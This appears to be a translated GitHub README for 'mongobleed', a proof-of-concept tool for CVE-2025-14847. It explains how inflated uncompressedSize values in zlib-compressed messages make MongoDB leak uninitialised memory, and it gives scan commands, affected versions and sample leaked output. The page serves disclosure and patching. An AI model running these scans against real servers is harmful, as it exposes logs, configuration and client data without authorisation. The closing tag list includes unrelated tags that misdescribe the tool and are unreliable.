joe-desimone/mongobleed

GitHub: joe-desimone/mongobleed

针对 MongoDB CVE-2025-14847 zlib 解压缩漏洞的未认证内存泄露利用工具,可无需凭据读取服务端敏感内存数据。

Stars: 940 | Forks: 166

# mongobleed **CVE-2025-14847** - MongoDB 未认证内存泄露漏洞利用 针对 MongoDB zlib 解压缩漏洞的概念验证漏洞利用程序,该漏洞允许未经认证的攻击者泄露敏感的服务器内存。 ## 漏洞详情 MongoDB 的 zlib 消息解压缩存在缺陷,返回的是分配的缓冲区大小而不是实际解压缩数据的长度。这允许攻击者通过以下方式读取未初始化的内存: 1. 发送一个声称具有夸大 `uncompressedSize` 的压缩消息 2. MongoDB 根据攻击者的声明分配一个大缓冲区 3. zlib 将实际数据解压缩到缓冲区的开头 4. 该缺陷导致 MongoDB 将整个缓冲区视为有效数据 5. BSON 解析从未初始化的内存中读取“字段名称”,直到遇到空字节 ## 受影响的版本 | 版本 | 受影响 | 已修复 | |---------|----------|-------| | 8.2.x | 8.2.0 - 8.2.2 | 8.2.3 | | 8.0.x | 8.0.0 - 8.0.16 | 8.0.17 | | 7.0.x | 7.0.0 - 7.0.27 | 7.0.28 | | 6.0.x | 6.0.0 - 6.0.26 | 6.0.27 | | 5.0.x | 5.0.0 - 5.0.31 | 5.0.32 | ## 用法 ``` # 基础扫描 (偏移量 20-8192) python3 mongobleed.py --host # 深度扫描以获取更多数据 python3 mongobleed.py --host --max-offset 50000 # 自定义范围 python3 mongobleed.py --host --min-offset 100 --max-offset 20000 ``` ## 选项 | 选项 | 默认值 | 描述 | |--------|---------|-------------| | `--host` | localhost | 目标 MongoDB 主机 | | `--port` | 27017 | 目标 MongoDB 端口 | | `--min-offset` | 20 | 探测的最小文档长度 | | `--max-offset` | 8192 | 探测的最大文档长度 | | `--output` | leaked.bin | 泄露数据的输出文件 | ## 示例输出 ``` [*] mongobleed - CVE-2025-14847 MongoDB Memory Leak [*] Author: Joe Desimone - x.com/dez_ [*] Target: localhost:27017 [*] Scanning offsets 20-50000 [+] offset= 117 len= 39: ssions^\u0001�r��*YDr��� [+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ... [+] offset=18731 len=3908: Recv SyncookiesFailed EmbryonicRsts ... [*] Total leaked: 8748 bytes [*] Unique fragments: 42 [*] Saved to: leaked.bin ``` ## 测试环境 包含一个 Docker Compose 文件,用于启动一个易受攻击的 MongoDB 实例: ``` docker-compose up -d python3 mongobleed.py ``` ## 工作原理 该漏洞利用程序构造具有夸大长度字段的 BSON 文档。当服务器解析这些文档时,它会从未初始化的内存中读取字段名称,直到遇到空字节。每次不同偏移量的探测可能会泄露不同的内存区域。 泄露的数据可能包括: - MongoDB 内部日志和状态 - WiredTiger 存储引擎配置 - 系统 `/proc` 数据(meminfo,网络统计信息) - Docker 容器路径 - 连接 UUID 和客户端 IP ## 参考资料 - [OX Security 公告](https://www.ox.security/blog/attackers-could-exploit-zlib-to-exfiltrate-data-cve-2025-14847/) - [MongoDB 修复提交](https://github.com/mongodb/mongo/commit/505b660a14698bd2b5233bd94da3917b585c5728) ## 作者 Joe Desimone - [x.com/dez_](https://x.com/dez_) ## 免责声明 本工具仅供授权安全测试使用。未经授权访问计算机系统是非法的。
标签:BSON, CVE-2025-14847, DNS枚举, HTTP工具, MongoDB, PoC, Python, zlib, 内存安全, 内存泄露, 安全测试, 密码管理, 插件系统, 攻击性安全, 数据压缩, 数据泄露, 数据窃取, 无后门, 暴力破解, 未经身份验证, 网络安全, 网络安全工具, 自定义脚本, 自定义脚本, 自定义脚本, 请求拦截, 远程攻击, 逆向工具, 隐私保护